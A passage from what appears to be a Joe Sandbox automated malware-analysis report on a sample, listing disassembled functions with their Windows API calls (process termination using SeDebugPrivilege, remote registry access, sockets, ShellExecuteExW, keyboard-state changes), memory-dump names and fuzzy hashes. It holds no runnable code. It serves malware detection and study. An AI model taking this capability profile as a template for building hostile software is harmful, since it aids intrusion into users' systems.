                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                                                      • String ID: X$p2el2e
                                                                                      • API String ID: 774024439-2504865889
                                                                                      • Opcode ID: 1e6a29e5028bd7fbab545d17a1c17873d6305554ae8ec9a2996531c02908c93e
                                                                                      • Instruction ID: 9c69f4aaa1e8a99662316d98f9d29ac75b1fdf16c5c266ca115ebf8132793228
                                                                                      • Opcode Fuzzy Hash: 1e6a29e5028bd7fbab545d17a1c17873d6305554ae8ec9a2996531c02908c93e
                                                                                      • Instruction Fuzzy Hash: 64C16A35504746DFC724EF24C985A6EBFE0BF86350F00492DF99A972A2DB30E805CB96
                                                                                      Function 00609A75 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00609B19
                                                                                      • SendMessageW.USER32(?,00001036,00000000,?), ref: 00609B2D
                                                                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00609B47
                                                                                      • _wcscat.LIBCMT ref: 00609BA2
                                                                                      • SendMessageW.USER32(?,00001057,00000000,?), ref: 00609BB9
                                                                                      • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00609BE7
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$Window_wcscat
                                                                                      • String ID: SysListView32
                                                                                      • API String ID: 307300125-78025650
                                                                                      • Opcode ID: ae234953350074bbbb2fd20d5da5d3562b78be61e809cce973adff0de0b244dd
                                                                                      • Instruction ID: 5c88be35341fed3c01617de400cffd3a1cadce02f8b85e888fe458eb03bc47cf
                                                                                      • Opcode Fuzzy Hash: ae234953350074bbbb2fd20d5da5d3562b78be61e809cce973adff0de0b244dd
                                                                                      • Instruction Fuzzy Hash: 9341A271A40308AFEB259FA4CC85BEB7BBAEB48350F10042AF545A72D2D7759D85CB60
                                                                                      Function 0060172F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005E6532: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 005E6554
                                                                                        • Part of subcall function 005E6532: Process32FirstW.KERNEL32(00000000,0000022C), ref: 005E6564
                                                                                        • Part of subcall function 005E6532: CloseHandle.KERNEL32(00000000,?,00000000), ref: 005E65F9
                                                                                      • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0060179A
                                                                                      • GetLastError.KERNEL32 ref: 006017AD
                                                                                      • OpenProcess.KERNEL32(00000001,00000000,?), ref: 006017D9
                                                                                      • TerminateProcess.KERNEL32(00000000,00000000), ref: 00601855
                                                                                      • GetLastError.KERNEL32(00000000), ref: 00601860
                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00601895
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                                                      • String ID: SeDebugPrivilege
                                                                                      • API String ID: 2533919879-2896544425
                                                                                      • Opcode ID: 5c5afaab0eeca144368ee7256483bfb10568c6231709ef829c41d2d3fee85eab
                                                                                      • Instruction ID: 89eb2f2a8b8233e60d31977881822efdccf55e57db13f03d02f8c8f3065cb489
                                                                                      • Opcode Fuzzy Hash: 5c5afaab0eeca144368ee7256483bfb10568c6231709ef829c41d2d3fee85eab
                                                                                      • Instruction Fuzzy Hash: 1A41B071640202AFDB19EF54C899FAE7BA6BF95300F048459F9069F3C2DB74A901CB51
                                                                                      Function 005E5819 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadIconW.USER32(00000000,00007F03), ref: 005E58B8
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: IconLoad
                                                                                      • String ID: blank$info$question$stop$warning
                                                                                      • API String ID: 2457776203-404129466
                                                                                      • Opcode ID: a80ce0caaab184f41ad11ed56b9b71f2b07b1f5c618f60c05f376866180e34e3
                                                                                      • Instruction ID: 455896f60928f9f0bdba1592ca39f86c6a8a587a1dc26b439bde56ebda1b45ac
                                                                                      • Opcode Fuzzy Hash: a80ce0caaab184f41ad11ed56b9b71f2b07b1f5c618f60c05f376866180e34e3
                                                                                      • Instruction Fuzzy Hash: 03113D3620DB93FEE7185B559C92E6A2F9DBF15758F30003EF980E62C2F760AA404364
                                                                                      Function 0060A2C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BD17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005BD1BA
                                                                                        • Part of subcall function 005BD17C: GetStockObject.GDI32(00000011), ref: 005BD1CE
                                                                                        • Part of subcall function 005BD17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 005BD1D8
                                                                                      • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 0060A32D
                                                                                      • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0060A33A
                                                                                      • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0060A345
                                                                                      • SendMessageW.USER32(?,00000401,00000000,mmmmmm), ref: 0060A354
                                                                                      • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 0060A360
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$CreateObjectStockWindow
                                                                                      • String ID: Msctls_Progress32$mmmmmm
                                                                                      • API String ID: 1025951953-1644177745
                                                                                      • Opcode ID: 6bc829c1fc41db547b1eb3a923465f51a913937c835cf85292743d7cec229f9f
                                                                                      • Instruction ID: 04bf001f50415c4230412cfe70c1768de4ab151b070cc100e0033a5209d5d9f7
                                                                                      • Opcode Fuzzy Hash: 6bc829c1fc41db547b1eb3a923465f51a913937c835cf85292743d7cec229f9f
                                                                                      • Instruction Fuzzy Hash: 0F1186B1150219BEEF155FA4CC85EEB7F6EFF09798F014115FA04A61A0C7729C22DBA4
                                                                                      Function 005EA729 Relevance: 12.3, APIs: 8, Instructions: 317COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 005EA806
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ArraySafeVartype
                                                                                      • String ID:
                                                                                      • API String ID: 1725837607-0
                                                                                      • Opcode ID: 8c90d28a452c70705ee7c97a8da816eea93d7e3d6dc1263ef20d9ed372eafb8f
                                                                                      • Instruction ID: f69df229cf26428cdc14ff149cafd81eb610ba559da679a5ca6504de2f5b6fe7
                                                                                      • Opcode Fuzzy Hash: 8c90d28a452c70705ee7c97a8da816eea93d7e3d6dc1263ef20d9ed372eafb8f
                                                                                      • Instruction Fuzzy Hash: CAC19C71A0425ADFDB18DFA9C485BAEBBF5FF08310F208469E685E7241C734BA41CB91
                                                                                      Function 005E6B49 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 005E6B63
                                                                                      • LoadStringW.USER32(00000000), ref: 005E6B6A
                                                                                      • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 005E6B80
                                                                                      • LoadStringW.USER32(00000000), ref: 005E6B87
                                                                                      • _wprintf.LIBCMT ref: 005E6BAD
                                                                                      • MessageBoxW.USER32(00000000,?,?,00011010), ref: 005E6BCB
                                                                                      Strings
                                                                                      • %s (%d) : ==> %s: %s %s, xrefs: 005E6BA8
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: HandleLoadModuleString$Message_wprintf
                                                                                      • String ID: %s (%d) : ==> %s: %s %s
                                                                                      • API String ID: 3648134473-3128320259
                                                                                      • Opcode ID: b78e0a88dd349c98fba593e9b13963bc7216c656e3a42fe0bae3187d6b326a63
                                                                                      • Instruction ID: ae7adf3d22616dfd71024eea96264633fc4c1e079b27f199df5dd68b74a2bcaa
                                                                                      • Opcode Fuzzy Hash: b78e0a88dd349c98fba593e9b13963bc7216c656e3a42fe0bae3187d6b326a63
                                                                                      • Instruction Fuzzy Hash: 8B0181F2900248BFEB21ABA09D8DEF7376DE708344F0044A1B746E2041EA74DE858F71
                                                                                      Function 00602B19 Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00603C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00602BB5,?,?), ref: 00603C1D
                                                                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00602BF6
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BuffCharConnectRegistryUpper
                                                                                      • String ID:
                                                                                      • API String ID: 2595220575-0
                                                                                      • Opcode ID: 5b13d38a0730bc69ffd5280846322d49f5d796306141c62c561d657fba032a14
                                                                                      • Instruction ID: 94c0c1104d9a5920c115dd46cc4e182f50b23d39bd859380a7dc0a9967de7737
                                                                                      • Opcode Fuzzy Hash: 5b13d38a0730bc69ffd5280846322d49f5d796306141c62c561d657fba032a14
                                                                                      • Instruction Fuzzy Hash: B5916C712042029FCB14EF54C899B6EBBE6FF88314F04885DF996972A1DB31ED46CB51
                                                                                      Function 005F95BF Relevance: 12.2, APIs: 8, Instructions: 247networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • select.WSOCK32 ref: 005F9691
                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 005F969E
                                                                                      • __WSAFDIsSet.WSOCK32(00000000,?,00000000), ref: 005F96C8
                                                                                      • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 005F96E9
                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 005F96F8
                                                                                      • htons.WSOCK32(?,?,?,00000000,?), ref: 005F97AA
                                                                                      • inet_ntoa.WSOCK32(?,?,?,?,?,?,?,?,?,?,?,?,0063DC00), ref: 005F9765
                                                                                        • Part of subcall function 005DD2FF: _strlen.LIBCMT ref: 005DD309
                                                                                      • _strlen.LIBCMT ref: 005F9800
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLast_strlen$htonsinet_ntoaselect
                                                                                      • String ID:
                                                                                      • API String ID: 3480843537-0
                                                                                      • Opcode ID: 12ef7ef44062782d63809d77d66ae07cf89ed0822ae4d1b10da186c0ed7296c2
                                                                                      • Instruction ID: fd91287d6b87479be038bcc4a8cdeea4f681f0fc703a33465d8ad8b5f0ac1a9e
                                                                                      • Opcode Fuzzy Hash: 12ef7ef44062782d63809d77d66ae07cf89ed0822ae4d1b10da186c0ed7296c2
                                                                                      • Instruction Fuzzy Hash: 5181CC31504605ABC714EF64CC89F6FBFA8FBC5710F104A19F6569B291EB34E905CBA2
                                                                                      Function 005CA979 Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __mtinitlocknum.LIBCMT ref: 005CA991
                                                                                        • Part of subcall function 005C7D7C: __FF_MSGBANNER.LIBCMT ref: 005C7D91
                                                                                        • Part of subcall function 005C7D7C: __NMSG_WRITE.LIBCMT ref: 005C7D98
                                                                                        • Part of subcall function 005C7D7C: __malloc_crt.LIBCMT ref: 005C7DB8
                                                                                      • __lock.LIBCMT ref: 005CA9A4
                                                                                      • __lock.LIBCMT ref: 005CA9F0
                                                                                      • InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,00656DE0,00000018,005D5E7B,?,00000000,00000109), ref: 005CAA0C
                                                                                      • EnterCriticalSection.KERNEL32(8000000C,00656DE0,00000018,005D5E7B,?,00000000,00000109), ref: 005CAA29
                                                                                      • LeaveCriticalSection.KERNEL32(8000000C), ref: 005CAA39
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
                                                                                      • String ID:
                                                                                      • API String ID: 1422805418-0
                                                                                      • Opcode ID: 6a08a3f3068e159508ef56349b5b76b3d957929cad72c4617d9af51f1b1db012
                                                                                      • Instruction ID: 66c8f0371657886e7c3b2837fa2e40f118750cbca816665817f8d1cdf6a9b912
                                                                                      • Opcode Fuzzy Hash: 6a08a3f3068e159508ef56349b5b76b3d957929cad72c4617d9af51f1b1db012
                                                                                      • Instruction Fuzzy Hash: 0041377190060A9FEB108FE8DE45B58BFB1BF45328F10932CE425AB2D1D7B49D00CB82
                                                                                      Function 00608ECC Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • DeleteObject.GDI32(00000000), ref: 00608EE4
                                                                                      • GetDC.USER32(00000000), ref: 00608EEC
                                                                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00608EF7
                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 00608F03
                                                                                      • CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00608F3F
                                                                                      • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00608F50
                                                                                      • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0060BD19,?,?,000000FF,00000000,?,000000FF,?), ref: 00608F8A
                                                                                      • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00608FAA
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                      • String ID:
                                                                                      • API String ID: 3864802216-0
                                                                                      • Opcode ID: 1ac4382e02539d7f6a136719140ca7648ed7d619a7cae16361a121052716ccd7
                                                                                      • Instruction ID: 703d7ca1732790258ed07c44c9fb4ace76e2c0cc5eea741849f82b56fe46cb96
                                                                                      • Opcode Fuzzy Hash: 1ac4382e02539d7f6a136719140ca7648ed7d619a7cae16361a121052716ccd7
                                                                                      • Instruction Fuzzy Hash: B9317F72140614BFEB248F60CC4AFEB3BAEEF49755F044065FE489A291DA759842CB74
                                                                                      Function 00610133 Relevance: 10.7, APIs: 7, Instructions: 245windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB34E: GetWindowLongW.USER32(?,000000EB), ref: 005BB35F
                                                                                      • GetSystemMetrics.USER32(0000000F), ref: 0061016D
                                                                                      • MoveWindow.USER32(00000003,?,00000000,00000001,00000000,00000000,?,?,?), ref: 0061038D
                                                                                      • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 006103AB
                                                                                      • InvalidateRect.USER32(?,00000000,00000001,?), ref: 006103D6
                                                                                      • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 006103FF
                                                                                      • ShowWindow.USER32(00000003,00000000), ref: 00610421
                                                                                      • DefDlgProcW.USER32(?,00000005,?,?), ref: 00610440
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$MessageSend$InvalidateLongMetricsMoveProcRectShowSystem
                                                                                      • String ID:
                                                                                      • API String ID: 3356174886-0
                                                                                      • Opcode ID: 569db18c0f859065cae04f235106907fc4ebc187fb8fe592ca7b22d214d64359
                                                                                      • Instruction ID: 13f67a156c230a908c8e3e40fc40a4ee2e7811192a287b06833741d5644cc449
                                                                                      • Opcode Fuzzy Hash: 569db18c0f859065cae04f235106907fc4ebc187fb8fe592ca7b22d214d64359
                                                                                      • Instruction Fuzzy Hash: 7CA18D35600616EBEF18CF68C9897EDBBB2BF08740F188115E855AB290D7B4ADD1CB90
                                                                                      Function 005BAE78 Relevance: 10.7, APIs: 7, Instructions: 218COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: f5daa3be560e757a40206dc56e5ee2d6cf22029c0ab16a73d1a3ca4fe7289945
                                                                                      • Instruction ID: 04db805523aed27b265d2d02c79a7e21095ccbc0eee56ba1d7b06fce74771fba
                                                                                      • Opcode Fuzzy Hash: f5daa3be560e757a40206dc56e5ee2d6cf22029c0ab16a73d1a3ca4fe7289945
                                                                                      • Instruction Fuzzy Hash: 267158B5900509EFDB14CF98CC89AFEBF79FF85314F248149F915AA251C730AA42CBA5
                                                                                      Function 00602230 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 0060225A
                                                                                      • _memset.LIBCMT ref: 00602323
                                                                                      • ShellExecuteExW.SHELL32(?), ref: 00602368
                                                                                        • Part of subcall function 005A936C: __swprintf.LIBCMT ref: 005A93AB
                                                                                        • Part of subcall function 005A936C: __itow.LIBCMT ref: 005A93DF
                                                                                        • Part of subcall function 005BC6F4: _wcscpy.LIBCMT ref: 005BC717
                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0060242F
                                                                                      • FreeLibrary.KERNEL32(00000000), ref: 0060243E
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
                                                                                      • String ID: @
                                                                                      • API String ID: 4082843840-2766056989
                                                                                      • Opcode ID: 02c269853f782a0a0e1b94e1e4477d4279958cc14993f87b6e12cf2c37b44e10
                                                                                      • Instruction ID: fbbb33a1e02333c3fa9b6f663396205c75c8498c9ed365c1cedf6c0c49f9e7d6
                                                                                      • Opcode Fuzzy Hash: 02c269853f782a0a0e1b94e1e4477d4279958cc14993f87b6e12cf2c37b44e10
                                                                                      • Instruction Fuzzy Hash: 2571617490061ADFCF19EF94C899A9EBBF6FF48310F108459E856AB391CB34AD41CB94
                                                                                      Function 005E3BC3 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetParent.USER32(00000000), ref: 005E3C02
                                                                                      • GetKeyboardState.USER32(?), ref: 005E3C17
                                                                                      • SetKeyboardState.USER32(?), ref: 005E3C78
                                                                                      • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 005E3CA4
